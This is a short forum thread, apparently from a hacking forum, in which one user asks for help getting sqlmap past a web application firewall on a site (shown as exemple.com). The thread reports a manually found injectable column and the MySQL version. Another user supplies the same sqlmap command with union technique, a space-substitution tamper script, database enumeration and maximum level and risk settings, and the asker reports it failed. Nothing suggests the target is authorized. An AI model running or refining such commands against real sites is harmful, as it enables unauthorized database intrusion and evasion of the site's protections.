[blackcoder00]

i found a problem when i use sqlmap to bypass the waf of a site


i run this command : root@ubuntu:/opt/sqlmap# python sqlmap.py -u http://www.exemple.com/contactus.php?id=7  --dbms="MySQL" -v3 --technique U --tamper="space2mysqlblank.py" --dbs --no-cast --random-agent

[03:24:24] [DEBUG] too many 4xx and/or 5xx HTTP error codes could mean that some kind of protection is involved (e.g. WAF)

but when i try manual i found 7 column and the 3 column is injectable

the db version :5.6.41-84.1
can any one help me to found out how to bypass the waf of this site  😟

[ProfitableFlip]

python sqlmap.py -u http://www.exemple.com/contactus.php?id=7 --dbms="MySQL" -v3 --technique U --tamper="space2mysqlblank.py" --level="5" --risk="3" --dbs --no-cast --random-agent

Try that and let me know! :)

[blackcoder00]

unsolved :/ nothing happen